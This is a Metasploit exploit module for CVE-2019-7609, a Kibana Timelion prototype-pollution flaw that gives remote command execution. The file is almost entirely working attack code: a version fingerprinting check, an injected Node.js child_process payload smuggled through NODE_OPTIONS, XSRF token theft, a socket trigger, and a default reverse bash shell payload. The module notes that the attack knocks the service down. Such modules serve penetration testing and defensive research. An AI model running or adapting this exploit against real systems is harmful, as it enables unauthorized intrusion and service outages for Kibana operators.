##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking
  include Msf::Exploit::Remote::HttpClient
  prepend Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Kibana Timelion Prototype Pollution RCE',
        'Description' => %q{
          Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer.
          An attacker with access to the Timelion application could send a request that will attempt to execute
          javascript code. This leads to an arbitrary command execution with permissions of the
          Kibana process on the host system.

          Exploitation will require a service or system reboot to restore normal operation.

          The WFSDELAY parameter is crucial for this exploit. Setting it too high will cause MANY shells
          (50-100+), while setting it too low will cause no shells to be obtained. WFSDELAY of 10 for a
          docker image caused 6 shells.

          Tested against kibana 6.5.4.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'Michał Bentkowski', # original PoC, analysis
          'Gaetan Ferry' # more analysis
        ],
        'References' => [
          [ 'URL', 'https://github.com/mpgn/CVE-2019-7609'],
          [ 'URL', 'https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/'],
          [ 'CVE', '2019-7609']
        ],
        'Platform' => ['unix'],
        'Privileged' => false,
        'Arch' => ARCH_CMD,
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'DisclosureDate' => '2019-10-30',
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'cmd/unix/reverse_bash',
          'WfsDelay' => 10 # can take a minute to run
        },
        'Notes' => {
          # the webserver doesn't die, but certain requests no longer respond before a timeout
          # when things go poorly
          'Stability' => [CRASH_SERVICE_DOWN],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(5601),
        OptString.new('TARGETURI', [ true, 'The URI of the Kibana Application', '/'])
      ]
    )
  end

  def check
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'app', 'kibana'),
      'method' => 'GET',
      'keep_cookies' => true
    )
    return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
    return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200

    # this pulls a big JSON blob that we need as it has the version
    unless %r{<kbn-injected-metadata data="([^"]+)"></kbn-injected-metadata>} =~ res.body
      return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version")
    end

    version_json = CGI.unescapeHTML(Regexp.last_match(1))

    begin
      json_body = JSON.parse(version_json)
    rescue JSON::ParserError
      return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version")
    end

    return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version") if json_body['version'].nil?

    @version = json_body['version']

    if Rex::Version.new(@version) < Rex::Version.new('5.6.15') ||
       (
         Rex::Version.new(@version) < Rex::Version.new('6.6.1') &&
         Rex::Version.new(@version) >= Rex::Version.new('6.0.0')
       )
      return CheckCode::Appears("Exploitable Version Detected: #{@version}")
    end

    CheckCode::Safe("Unexploitable Version Detected: #{@version}")
  end

  def get_xsrf
    vprint_status('Grabbing XSRF Token')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'bundles', 'canvas.bundle.js'),
      'keep_cookies' => true
    )
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200

    return Regexp.last_match(1) if /"kbn-xsrf":"([^"]+)"/ =~ res.body

    nil
  end

  def trigger_socket
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'socket.io/'), # trailing / is required
      'keep_cookies' => true,
      'headers' => {
        'kbn-xsrf' => @xsrf
      },
      'vars_get' => {
        'EIO' => 3,
        'transport' => 'polling'
      }
    )
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200
  end

  def send_injection(reset: false)
    if reset
      pload = ".es(*).props(label.__proto__.env.AAAA='').props(label.__proto__.env.NODE_OPTIONS='')"
    else
      # we leave a marker for our payload to avoid having .to_json process it and make it unusable by the host OS
      pload = %|.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("PAYLOADHERE");process.exit()//').props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')|
    end
    body = {
      'sheet' => [pload],
      'time' => {
        'from' => 'now-15m',
        'to' => 'now',
        'mode' => 'quick',
        'interval' => 'auto',
        'timezone' => 'America/New_York'
      }
    }
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'api', 'timelion', 'run'),
      'method' => 'POST',
      'ctype' => 'application/json',
      'headers' => { 'kbn-version' => @version },
      'data' => body.to_json.sub('PAYLOADHERE', payload.encoded.gsub("'", "\\\\\\\\\\\\\\\\'")),
      'keep_cookies' => true
    )
    Rex.sleep(2) # let this take hold, if we go too fast we dont get the shell
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200
  end

  def exploit
    check if @version.nil?
    print_status('Polluting Prototype in Timelion')
    send_injection

    @xsrf = get_xsrf
    fail_with(Failure::UnexpectedReply, "#{peer} - Unable to grab XSRF token") if @xsrf.nil?

    print_status('Trigginger payload execution via canvas socket')
    trigger_socket
    print_status('Waiting for shells')
    Rex.sleep(datastore['WFSDELAY'] / 10)
    unless @reset_done
      print_status('Unsetting to stop raining shells from a lacerated kibana')
      send_injection(reset: true)
      trigger_socket
    end
  end

  def on_new_session(_client)
    return if @reset_done

    print_status('Unsetting to stop raining shells from a lacerated kibana')
    send_injection(reset: true)
    trigger_socket
    @reset_done = true
  ensure
    super
  end

end
